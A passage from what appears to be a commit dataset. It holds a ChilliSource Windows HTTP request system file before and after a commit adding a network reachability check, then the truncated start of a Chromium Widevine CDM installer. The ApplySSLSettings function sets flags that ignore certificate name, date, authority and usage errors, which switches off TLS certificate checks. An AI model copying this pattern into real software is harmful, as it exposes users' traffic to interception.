in_timeoutSecs);\r\n\t\t}\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\tHttpRequest* HttpRequestSystem::MakePostRequest(const std::string& in_url, const std::string& in_body, const ChilliSource::ParamDictionary& in_headers, const HttpRequest::Delegate& in_delegate, u32 in_timeoutSecs)\r\n\t\t{\r\n\t\t\treturn MakeRequest(HttpRequest::Type::k_post, in_url, in_body, in_headers, in_delegate, in_timeoutSecs);\r\n\t\t}\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\tHttpRequest* HttpRequestSystem::MakeRequest(HttpRequest::Type in_type, const std::string& in_url, const std::string& in_body, const ChilliSource::ParamDictionary& in_headers, const HttpRequest::Delegate& in_delegate, u32 in_timeoutSecs)\r\n\t\t{\r\n\t\t\tCS_ASSERT(ChilliSource::Application::Get()->GetTaskScheduler()->IsMainThread() == true, \"Http requests can currently only be made on the main thread\");\r\n\t\t\tCS_ASSERT(in_delegate != nullptr, \"Cannot make an http request with a null delegate\");\r\n\t\t\tCS_ASSERT(in_url.empty() == false, \"Cannot make an http request to a blank url\");\r\n\r\n\t\t\tURL_COMPONENTS urlComps;\r\n\r\n\t\t\t\/\/Initialize the URL_COMPONENTS structure.\r\n\t\t\tZeroMemory(&urlComps, sizeof(URL_COMPONENTS));\r\n\t\t\turlComps.dwStructSize = sizeof(URL_COMPONENTS);\r\n\r\n\t\t\t\/\/Set required component lengths to non-zero so that they are cracked.\r\n\t\t\turlComps.dwSchemeLength = (DWORD)-1;\r\n\t\t\turlComps.dwHostNameLength = (DWORD)-1;\r\n\t\t\turlComps.dwUrlPathLength = (DWORD)-1;\r\n\t\t\turlComps.dwExtraInfoLength = (DWORD)-1;\r\n\r\n\t\t\t\/\/Change the URL to wide string\r\n\t\t\tstd::wstring url(WindowsStringUtils::UTF8ToUTF16(in_url));\r\n\r\n\t\t\t\/\/Crack the URL.\r\n\t\t\tif (!WinHttpCrackUrl(url.c_str(), (DWORD)url.length(), 0, &urlComps))\r\n\t\t\t{\r\n\t\t\t\tCS_LOG_FATAL(\"Cannot crack URL: \" + in_url);\r\n\t\t\t\treturn nullptr;\r\n\t\t\t}\r\n\r\n\t\t\t\/\/Weirdly the cracked URL struct only gives you the ability to crack your own URL\r\n\t\t\tstd::wstring hostName = urlComps.lpszHostName;\r\n\t\t\thostName = hostName.substr(0, urlComps.dwHostNameLength);\r\n\t\t\tHINTERNET connectionHandle = ::WinHttpConnect(m_sessionHandle, hostName.c_str(), INTERNET_DEFAULT_PORT, 0);\r\n\r\n\t\t\tif (!connectionHandle)\r\n\t\t\t{\r\n\t\t\t\tCS_LOG_ERROR(\"Failed to connect to server: \" + in_url);\r\n\t\t\t\treturn nullptr;\r\n\t\t\t}\r\n\r\n\t\t\t\/\/Set up the request based on whether it is POST or GET and whether it is SSL\r\n\t\t\tLPCWSTR type = (in_type == ChilliSource::HttpRequest::Type::k_get ? L\"GET\" : L\"POST\");\r\n\t\t\tHINTERNET requestHandle = 0;\r\n\r\n\t\t\tstd::wstring urlPath = urlComps.lpszUrlPath;\r\n\t\t\turlPath = urlPath.substr(0, urlComps.dwUrlPathLength);\r\n\r\n\t\t\tif (urlComps.nScheme == INTERNET_SCHEME_HTTPS)\r\n\t\t\t{\r\n\t\t\t\trequestHandle = ::WinHttpOpenRequest(connectionHandle, type, urlPath.c_str(), L\"HTTP\/1.1\", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);\r\n\t\t\t\tif (requestHandle == nullptr || ApplySSLSettings(requestHandle) == false)\r\n\t\t\t\t{\r\n\t\t\t\t\tCS_LOG_ERROR(\"Failed to open request: \" + in_url);\r\n\t\t\t\t\tWinHttpCloseHandle(connectionHandle);\r\n\t\t\t\t\treturn nullptr;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\trequestHandle = ::WinHttpOpenRequest(connectionHandle, type, urlPath.c_str(), L\"HTTP\/1.1\", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);\r\n\t\t\t\tif (requestHandle == nullptr)\r\n\t\t\t\t{\r\n\t\t\t\t\tCS_LOG_ERROR(\"Failed to open request: \" + in_url);\r\n\t\t\t\t\tWinHttpCloseHandle(connectionHandle);\r\n\t\t\t\t\treturn nullptr;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tif (in_headers.empty() == false)\r\n\t\t\t{\r\n\t\t\t\tstd::wstring headerBlob = ConvertHeaders(in_headers);\r\n\r\n\t\t\t\tif (WinHttpAddRequestHeaders(requestHandle, headerBlob.c_str(), DWORD(headerBlob.length()), WINHTTP_ADDREQ_FLAG_ADD) == false)\r\n\t\t\t\t{\r\n\t\t\t\t\tCS_LOG_ERROR(\"Failed to add http headers: \" + in_url);\r\n\t\t\t\t\tWinHttpCloseHandle(requestHandle);\r\n\t\t\t\t\tWinHttpCloseHandle(connectionHandle);\r\n\t\t\t\t\treturn nullptr;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tHttpRequest* httpRequest = new HttpRequest(in_type, in_url, in_body, in_headers, in_timeoutSecs, requestHandle, connectionHandle, GetMaxBufferSize(), in_delegate);\r\n\t\t\tm_requests.push_back(httpRequest);\r\n\t\t\treturn httpRequest;\r\n\t\t}\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\tvoid HttpRequestSystem::CancelAllRequests()\r\n\t\t{\r\n\t\t\tCS_ASSERT(ChilliSource::Application::Get()->GetTaskScheduler()->IsMainThread() == true, \"Http requests can currently only be made on the main thread\");\r\n\r\n\t\t\tfor(u32 nRequest=0; nRequest<m_requests.size(); ++nRequest)\r\n\t\t\t{\r\n\t\t\t\tm_requests[nRequest]->Cancel();\r\n\t\t\t}\r\n\t\t}\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\tvoid HttpRequestSystem::CheckReachability(const ReachabilityResultDelegate& in_reachabilityDelegate) const\r\n\t\t{\r\n\t\t\t\/\/TODO: Implement this functionality\r\n CS_ASSERT(in_reachabilityDelegate, \"The reachability delegate should not be null.\");\r\n\t\t\tin_reachabilityDelegate(true);\r\n\t\t}\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\tvoid HttpRequestSystem::OnUpdate(f32 in_timeSinceLastUpdate)\r\n\t\t{\r\n\t\t\t\/\/We should do this in two loops incase anyone tries to insert into the requests from the completion callback\r\n\t\t\tfor (u32 i=0; i<m_requests.size(); ++i)\r\n\t\t\t{\r\n\t\t\t\tm_requests[i]->Update(in_timeSinceLastUpdate);\r\n\t\t\t}\r\n\r\n\t\t\tfor (auto it = m_requests.begin(); it != m_requests.end(); \/*No increment*\/)\r\n\t\t\t{\r\n\t\t\t\tif((*it)->HasCompleted())\r\n\t\t\t\t{\r\n\t\t\t\t\t\/\/...and remove the completed request\r\n\t\t\t\t\tCS_SAFEDELETE(*it);\r\n\t\t\t\t\tit = m_requests.erase(it);\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\t++it;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\tvoid HttpRequestSystem::OnDestroy()\r\n\t\t{\r\n\t\t\tCancelAllRequests();\r\n\r\n\t\t\tHttpRequest::Shutdown();\r\n\r\n\t\t\tfor (auto it = m_requests.begin(); it != m_requests.end(); ++it)\r\n\t\t\t{\r\n\t\t\t\tCS_SAFEDELETE(*it);\r\n\t\t\t}\r\n\r\n\t\t\tm_requests.clear();\r\n\t\t\tm_requests.shrink_to_fit();\r\n\r\n\t\t\tWinHttpCloseHandle(m_sessionHandle);\r\n\t\t}\r\n\t}\r\n}\r\n\r\n#endif\r\n<commit_msg>Network reachability for Windows.<commit_after>\/\/\r\n\/\/ HttpRequestSystem.cpp\r\n\/\/ Chilli Source\r\n\/\/ Created by Scott Downie on 23\/05\/2011.\r\n\/\/\r\n\/\/ The MIT License (MIT)\r\n\/\/\r\n\/\/ Copyright (c) 2011 Tag Games Limited\r\n\/\/\r\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\r\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\r\n\/\/ in the Software without restriction, including without limitation the rights\r\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\r\n\/\/ copies of the Software, and to permit persons to whom the Software is\r\n\/\/ furnished to do so, subject to the following conditions:\r\n\/\/\r\n\/\/ The above copyright notice and this permission notice shall be included in\r\n\/\/ all copies or substantial portions of the Software.\r\n\/\/\r\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\r\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\r\n\/\/ THE SOFTWARE.\r\n\/\/\r\n\r\n#ifdef CS_TARGETPLATFORM_WINDOWS\r\n\r\n#include <CSBackend\/Platform\/Windows\/Networking\/Http\/HttpRequestSystem.h>\r\n\r\n#include <CSBackend\/Platform\/Windows\/Core\/String\/WindowsStringUtils.h>\r\n#include <ChilliSource\/Core\/Base\/Application.h>\r\n#include <ChilliSource\/Core\/Threading\/TaskScheduler.h>\r\n\r\n#include <Windows.h>\r\n\r\n\/\/ Have to wrap WinInet's include in a namespace, because MS violates ODR with WinInet and WinHTTP.\r\nnamespace WinInet\r\n{\r\n#include <WinInet.h>\r\n}\r\n\r\n\/\/ A couple of undefs required too.\r\n#undef BOOLAPI\r\n#undef SECURITY_FLAG_IGNORE_CERT_DATE_INVALID\r\n#undef SECURITY_FLAG_IGNORE_CERT_CN_INVALID\r\n\r\n#include <winhttp.h>\r\n\r\n\r\n\r\n#pragma comment(lib, \"winhttp\")\r\n#pragma comment(lib, \"wininet\")\r\n\r\nnamespace CSBackend\r\n{\r\n\tnamespace Windows\r\n\t{\r\n\t\tnamespace\r\n\t\t{\r\n\t\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\t\t\/\/\/ Setup the request to use SSL level 3\r\n\t\t\t\/\/\/\r\n\t\t\t\/\/\/ @author S Downie\r\n\t\t\t\/\/\/\r\n\t\t\t\/\/\/ @param Request handle\r\n\t\t\t\/\/\/\r\n\t\t\t\/\/\/ @return Success or failure\r\n\t\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\t\tbool ApplySSLSettings(HINTERNET in_requestHandle)\r\n\t\t\t{\r\n\t\t\t\tDWORD requestOptions = SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;\r\n\t\t\t\tif (!WinHttpSetOption(in_requestHandle, WINHTTP_OPTION_SECURITY_FLAGS, &requestOptions, sizeof(DWORD)))\r\n\t\t\t\t{\r\n\t\t\t\t\tCS_LOG_ERROR(\"Failed to set HTTP SSL security flag options\");\r\n\t\t\t\t\treturn false;\r\n\t\t\t\t}\r\n\r\n\t\t\t\treturn true;\r\n\t\t\t}\r\n\t\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\t\t\/\/\/ Convert param dictionary to header format required by WinHTTP\r\n\t\t\t\/\/\/\r\n\t\t\t\/\/\/ @author S Downie\r\n\t\t\t\/\/\/\r\n\t\t\t\/\/\/ @param Header dictionary\r\n\t\t\t\/\/\/\r\n\t\t\t\/\/\/ @return Header blob\r\n\t\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\t\tstd::wstring ConvertHeaders(const ChilliSource::ParamDictionary& in_headers)\r\n\t\t\t{\r\n\t\t\t\t\/\/The headers must be passed as a single string with each header except the last\r\n\t\t\t\t\/\/terminated by a carraige return\/line feed\r\n\t\t\t\tstd::string headerBlob;\r\n\t\t\t\tfor (auto it = in_headers.begin(); it != in_headers.end(); ++it)\r\n\t\t\t\t{\r\n\t\t\t\t\theaderBlob += it->first;\r\n\t\t\t\t\theaderBlob += \": \";\r\n\t\t\t\t\theaderBlob += it->second;\r\n\t\t\t\t\theaderBlob += '\\r';\r\n\t\t\t\t\theaderBlob += '\\n';\r\n\t\t\t\t}\r\n\r\n\t\t\t\tCS_ASSERT(headerBlob.length() > 2, \"Http: Cannot convert empty headers\");\r\n\r\n\t\t\t\tstd::wstring headerBlobWide(headerBlob.length() - 2, L' ');\r\n\t\t\t\tstd::copy(headerBlob.begin(), headerBlob.end()-2, headerBlobWide.begin());\r\n\t\t\t\treturn headerBlobWide;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tCS_DEFINE_NAMEDTYPE(HttpRequestSystem);\r\n\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\tvoid HttpRequestSystem::OnInit()\r\n\t\t{\r\n\t\t\tm_sessionHandle = ::WinHttpOpen(L\"CSWinHttpClient\", WINHTTP_ACCESS_TYPE_NO_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);\r\n\t\t\tCS_ASSERT(m_sessionHandle != nullptr, \"Failed to open WinHTTP session\");\r\n\t\t}\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\tbool HttpRequestSystem::IsA(ChilliSource::InterfaceIDType in_interfaceId) const\r\n\t\t{\r\n\t\t\treturn in_interfaceId == ChilliSource::HttpRequestSystem::InterfaceID || in_interfaceId == HttpRequestSystem::InterfaceID;\r\n\t\t}\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\tHttpRequest* HttpRequestSystem::MakeGetRequest(const std::string& in_url, const HttpRequest::Delegate& in_delegate, u32 in_timeoutSecs)\r\n\t\t{\r\n\t\t\treturn MakeRequest(HttpRequest::Type::k_get, in_url, \"\", ChilliSource::ParamDictionary(), in_delegate, in_timeoutSecs);\r\n\t\t}\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\tHttpRequest* HttpRequestSystem::MakeGetRequest(const std::string& in_url, const ChilliSource::ParamDictionary& in_headers, const HttpRequest::Delegate& in_delegate, u32 in_timeoutSecs)\r\n\t\t{\r\n\t\t\treturn MakeRequest(HttpRequest::Type::k_get, in_url, \"\", in_headers, in_delegate, in_timeoutSecs);\r\n\t\t}\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\tHttpRequest* HttpRequestSystem::MakePostRequest(const std::string& in_url, const std::string& in_body, const HttpRequest::Delegate& in_delegate, u32 in_timeoutSecs)\r\n\t\t{\r\n\t\t\treturn MakeRequest(HttpRequest::Type::k_post, in_url, in_body, ChilliSource::ParamDictionary(), in_delegate, in_timeoutSecs);\r\n\t\t}\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\tHttpRequest* HttpRequestSystem::MakePostRequest(const std::string& in_url, const std::string& in_body, const ChilliSource::ParamDictionary& in_headers, const HttpRequest::Delegate& in_delegate, u32 in_timeoutSecs)\r\n\t\t{\r\n\t\t\treturn MakeRequest(HttpRequest::Type::k_post, in_url, in_body, in_headers, in_delegate, in_timeoutSecs);\r\n\t\t}\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\tHttpRequest* HttpRequestSystem::MakeRequest(HttpRequest::Type in_type, const std::string& in_url, const std::string& in_body, const ChilliSource::ParamDictionary& in_headers, const HttpRequest::Delegate& in_delegate, u32 in_timeoutSecs)\r\n\t\t{\r\n\t\t\tCS_ASSERT(ChilliSource::Application::Get()->GetTaskScheduler()->IsMainThread() == true, \"Http requests can currently only be made on the main thread\");\r\n\t\t\tCS_ASSERT(in_delegate != nullptr, \"Cannot make an http request with a null delegate\");\r\n\t\t\tCS_ASSERT(in_url.empty() == false, \"Cannot make an http request to a blank url\");\r\n\r\n\t\t\tURL_COMPONENTS urlComps;\r\n\r\n\t\t\t\/\/Initialize the URL_COMPONENTS structure.\r\n\t\t\tZeroMemory(&urlComps, sizeof(URL_COMPONENTS));\r\n\t\t\turlComps.dwStructSize = sizeof(URL_COMPONENTS);\r\n\r\n\t\t\t\/\/Set required component lengths to non-zero so that they are cracked.\r\n\t\t\turlComps.dwSchemeLength = (DWORD)-1;\r\n\t\t\turlComps.dwHostNameLength = (DWORD)-1;\r\n\t\t\turlComps.dwUrlPathLength = (DWORD)-1;\r\n\t\t\turlComps.dwExtraInfoLength = (DWORD)-1;\r\n\r\n\t\t\t\/\/Change the URL to wide string\r\n\t\t\tstd::wstring url(WindowsStringUtils::UTF8ToUTF16(in_url));\r\n\r\n\t\t\t\/\/Crack the URL.\r\n\t\t\tif (!WinHttpCrackUrl(url.c_str(), (DWORD)url.length(), 0, &urlComps))\r\n\t\t\t{\r\n\t\t\t\tCS_LOG_FATAL(\"Cannot crack URL: \" + in_url);\r\n\t\t\t\treturn nullptr;\r\n\t\t\t}\r\n\r\n\t\t\t\/\/Weirdly the cracked URL struct only gives you the ability to crack your own URL\r\n\t\t\tstd::wstring hostName = urlComps.lpszHostName;\r\n\t\t\thostName = hostName.substr(0, urlComps.dwHostNameLength);\r\n\t\t\tHINTERNET connectionHandle = ::WinHttpConnect(m_sessionHandle, hostName.c_str(), INTERNET_DEFAULT_PORT, 0);\r\n\r\n\t\t\tif (!connectionHandle)\r\n\t\t\t{\r\n\t\t\t\tCS_LOG_ERROR(\"Failed to connect to server: \" + in_url);\r\n\t\t\t\treturn nullptr;\r\n\t\t\t}\r\n\r\n\t\t\t\/\/Set up the request based on whether it is POST or GET and whether it is SSL\r\n\t\t\tLPCWSTR type = (in_type == ChilliSource::HttpRequest::Type::k_get ? L\"GET\" : L\"POST\");\r\n\t\t\tHINTERNET requestHandle = 0;\r\n\r\n\t\t\tstd::wstring urlPath = urlComps.lpszUrlPath;\r\n\t\t\turlPath = urlPath.substr(0, urlComps.dwUrlPathLength);\r\n\r\n\t\t\tif (urlComps.nScheme == INTERNET_SCHEME_HTTPS)\r\n\t\t\t{\r\n\t\t\t\trequestHandle = ::WinHttpOpenRequest(connectionHandle, type, urlPath.c_str(), L\"HTTP\/1.1\", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);\r\n\t\t\t\tif (requestHandle == nullptr || ApplySSLSettings(requestHandle) == false)\r\n\t\t\t\t{\r\n\t\t\t\t\tCS_LOG_ERROR(\"Failed to open request: \" + in_url);\r\n\t\t\t\t\tWinHttpCloseHandle(connectionHandle);\r\n\t\t\t\t\treturn nullptr;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\trequestHandle = ::WinHttpOpenRequest(connectionHandle, type, urlPath.c_str(), L\"HTTP\/1.1\", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);\r\n\t\t\t\tif (requestHandle == nullptr)\r\n\t\t\t\t{\r\n\t\t\t\t\tCS_LOG_ERROR(\"Failed to open request: \" + in_url);\r\n\t\t\t\t\tWinHttpCloseHandle(connectionHandle);\r\n\t\t\t\t\treturn nullptr;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tif (in_headers.empty() == false)\r\n\t\t\t{\r\n\t\t\t\tstd::wstring headerBlob = ConvertHeaders(in_headers);\r\n\r\n\t\t\t\tif (WinHttpAddRequestHeaders(requestHandle, headerBlob.c_str(), DWORD(headerBlob.length()), WINHTTP_ADDREQ_FLAG_ADD) == false)\r\n\t\t\t\t{\r\n\t\t\t\t\tCS_LOG_ERROR(\"Failed to add http headers: \" + in_url);\r\n\t\t\t\t\tWinHttpCloseHandle(requestHandle);\r\n\t\t\t\t\tWinHttpCloseHandle(connectionHandle);\r\n\t\t\t\t\treturn nullptr;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tHttpRequest* httpRequest = new HttpRequest(in_type, in_url, in_body, in_headers, in_timeoutSecs, requestHandle, connectionHandle, GetMaxBufferSize(), in_delegate);\r\n\t\t\tm_requests.push_back(httpRequest);\r\n\t\t\treturn httpRequest;\r\n\t\t}\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\tvoid HttpRequestSystem::CancelAllRequests()\r\n\t\t{\r\n\t\t\tCS_ASSERT(ChilliSource::Application::Get()->GetTaskScheduler()->IsMainThread() == true, \"Http requests can currently only be made on the main thread\");\r\n\r\n\t\t\tfor(u32 nRequest=0; nRequest<m_requests.size(); ++nRequest)\r\n\t\t\t{\r\n\t\t\t\tm_requests[nRequest]->Cancel();\r\n\t\t\t}\r\n\t\t}\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\tvoid HttpRequestSystem::CheckReachability(const ReachabilityResultDelegate& in_reachabilityDelegate) const\r\n\t\t{\r\n\t\t\t\/\/ Check internet connectivity\/reachability, using WinINet.\r\n\t\t\tDWORD inetState = 0;\r\n\t\t\tBOOL hasConnection = WinInet::InternetGetConnectedState(&inetState, 0);\r\n\r\n\t\t\t\/\/ True is returned when the device has an active connection to the internet, or a correctly-configured proxy connection.\r\n\t\t\t\/\/ False is returned when the device has no connection to the internet, even if successfully connected to LAN.\r\n\t\t\t\/\/ More information about the connection can be obtained from the 'inetState' flag.\r\n\t\t\t \r\n CS_ASSERT(in_reachabilityDelegate, \"The reachability delegate should not be null.\");\r\n\t\t\tin_reachabilityDelegate(hasConnection ? true : false); \/\/ternary operator used here because BOOL is a typedef'd int & conversion has perf issues\r\n\t\t}\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\tvoid HttpRequestSystem::OnUpdate(f32 in_timeSinceLastUpdate)\r\n\t\t{\r\n\t\t\t\/\/We should do this in two loops incase anyone tries to insert into the requests from the completion callback\r\n\t\t\tfor (u32 i=0; i<m_requests.size(); ++i)\r\n\t\t\t{\r\n\t\t\t\tm_requests[i]->Update(in_timeSinceLastUpdate);\r\n\t\t\t}\r\n\r\n\t\t\tfor (auto it = m_requests.begin(); it != m_requests.end(); \/*No increment*\/)\r\n\t\t\t{\r\n\t\t\t\tif((*it)->HasCompleted())\r\n\t\t\t\t{\r\n\t\t\t\t\t\/\/...and remove the completed request\r\n\t\t\t\t\tCS_SAFEDELETE(*it);\r\n\t\t\t\t\tit = m_requests.erase(it);\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\t++it;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\tvoid HttpRequestSystem::OnDestroy()\r\n\t\t{\r\n\t\t\tCancelAllRequests();\r\n\r\n\t\t\tHttpRequest::Shutdown();\r\n\r\n\t\t\tfor (auto it = m_requests.begin(); it != m_requests.end(); ++it)\r\n\t\t\t{\r\n\t\t\t\tCS_SAFEDELETE(*it);\r\n\t\t\t}\r\n\r\n\t\t\tm_requests.clear();\r\n\t\t\tm_requests.shrink_to_fit();\r\n\r\n\t\t\tWinHttpCloseHandle(m_sessionHandle);\r\n\t\t}\r\n\t}\r\n}\r\n\r\n#endif\r\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/component_updater\/widevine_cdm_component_installer.h\"\n\n#include <string.h>\n\n#include <vector>\n\n#include \"base\/base_paths.h\"\n#include \"base\/bind.h\"\n#include \"base\/command_line.h\"\n#include \"base\/compiler_specific.h\"\n#include \"base\/file_util.h\"\n#include \"base\/files\/file_enumerator.h\"\n#include \"base\/files\/file_path.h\"\n#include \"base\/logging.h\"\n#include \"base\/path_service.h\"\n#include \"base\/strings\/string_util.h\"\n#include \"base\/values.h\"\n#include \"base\/version.h\"\n#include \"build\/build_config.h\"\n#include \"chrome\/browser\/component_updater\/component_updater_service.h\"\n#include \"chrome\/browser\/plugins\/plugin_prefs.h\"\n#include \"chrome\/common\/chrome_constants.h\"\n#include \"chrome\/common\/chrome_paths.h\"\n#include \"chrome\/common\/widevine_cdm_constants.h\"\n#include \"content\/public\/browser\/browser_thread.h\"\n#include \"content\/public\/browser\/plugin_service.h\"\n#include \"content\/public\/common\/pepper_plugin_info.h\"\n#include \"third_party\/widevine\/cdm\/widevine_cdm_common.h\"\n\n#include \"widevine_cdm_version.h\" \/\/ In SHARED_INTERMEDIATE_DIR.\n\nusing content::BrowserThread;\nusing content::PluginService;\n\nnamespace {\n\n\/\/ TODO(xhwang): Move duplicate code among all component installer\n\/\/ implementations to some common place.\n\n#if defined(WIDEVINE_CDM_AVAILABLE) && defined(WIDEVINE_CDM_IS_COMPONENT)\n\n\/\/ CRX hash. The extension id is: pdkaonnflpjcgibpgaanildgengnihcm.\nconst uint8 kSha2Hash[] = { 0xf3, 0xa0, 0xed, 0xd5, 0xbf, 0x92, 0x68, 0x1f,\n 0x60, 0x0d, 0x8b, 0x36, 0x4d, 0x6d, 0x87, 0x2c,\n 0x86, 0x61, 0x12, 0x20, 0x21, 0xf8, 0x94, 0xdd,\n 0xe1, 0xb6, 0xb4, 0x55, 0x34, 0x8c, 0x2e, 0x20 };\n\n\/\/ File name of the Widevine CDM component manifest on different platforms.\nconst char kWidevineCdmManifestName[] = \"WidevineCdm\";\n\n\/\/ Name of the Widevine CDM OS in the component manifest.\nconst char kWidevineCdmOperatingSystem[] =\n#if defined(OS_MACOSX)\n \"mac\";\n#elif defined(OS_WIN)\n \"win\";\n#else \/\/ OS_LINUX, etc. TODO(viettrungluu): Separate out Chrome OS and Android?\n \"linux\";\n#endif\n\n\/\/ Name of the Widevine CDM architecture in the component manifest.\nconst char kWidevineCdmArch[] =\n#if defined(ARCH_CPU_X86)\n \"ia32\";\n#elif defined(ARCH_CPU_X86_64)\n \"x64\";\n#else \/\/ TODO(viettrungluu): Support an ARM check?\n \"???\";\n#endif\n\n\/\/ If we don't have a Widevine CDM component, this is the version we claim.\nconst char kNullVersion[] = \"0.0.0.0\";\n\n\/\/ The base directory on Windows looks like:\n\/\/ <profile>\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\.\nbase::FilePath GetWidevineCdmBaseDirectory() {\n base::FilePath result;\n PathService::Get(chrome::DIR_COMPONENT_WIDEVINE_CDM, &result);\n return result;\n}\n\n\/\/ Widevine CDM has the version encoded in the path so we need to enumerate the\n\/\/ directories to find the full path.\n\/\/ On success, |latest_dir| returns something like:\n\/\/ <profile>\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\10.3.44.555\\.\n\/\/ |latest_version| returns the corresponding version number. |older_dirs|\n\/\/ returns directories of all older versions.\nbool GetWidevineCdmDirectory(base::FilePath* latest_dir,\n base::Version* latest_version,\n std::vector<base::FilePath>* older_dirs) {\n base::FilePath base_dir = GetWidevineCdmBaseDirectory();\n bool found = false;\n base::FileEnumerator file_enumerator(\n base_dir, false, base::FileEnumerator::DIRECTORIES);\n for (base::FilePath path = file_enumerator.Next(); !path.value().empty();\n path = file_enumerator.Next()) {\n base::Version version(path.BaseName().MaybeAsASCII());\n if (!version.IsValid())\n continue;\n if (found) {\n if (version.CompareTo(*latest_version) > 0) {\n older_dirs->push_back(*latest_dir);\n *latest_dir = path;\n *latest_version = version;\n } else {\n older_dirs->push_back(path);\n }\n } else {\n *latest_dir = path;\n *latest_version = version;\n found = true;\n }\n }\n return found;\n}\n\nbool MakeWidevineCdmPluginInfo(const base::FilePath& path,\n const base::Version& version,\n content::PepperPluginInfo* plugin_info) {\n if (!version.IsValid() ||\n version.components().size() !=\n static_cast<size_t>(kWidevineCdmVersionNumComponents)) {\n return false;\n }\n\n plugin_info->is_internal = false;\n \/\/ Widevine CDM must run out of process.\n plugin_info->is_out_of_process = true;\n plugin_info->path = path;\n plugin_info->name = kWidevineCdmDisplayName;\n plugin_info->description = kWidevineCdmDescription;\n plugin_info->version = version.GetString();\n webkit::WebPluginMimeType widevine_cdm_mime_type(\n kWidevineCdmPluginMimeType,\n kWidevineCdmPluginExtension,\n kWidevineCdmPluginMimeTypeDescription);\n plugin_info->mime_types.push_back(widevine_cdm_mime_type);\n plugin_info->permissions = kWidevineCdmPluginPermissions;\n\n return true;\n}\n\nvoid RegisterWidevineCdmWithChrome(const base::FilePath& path,\n const 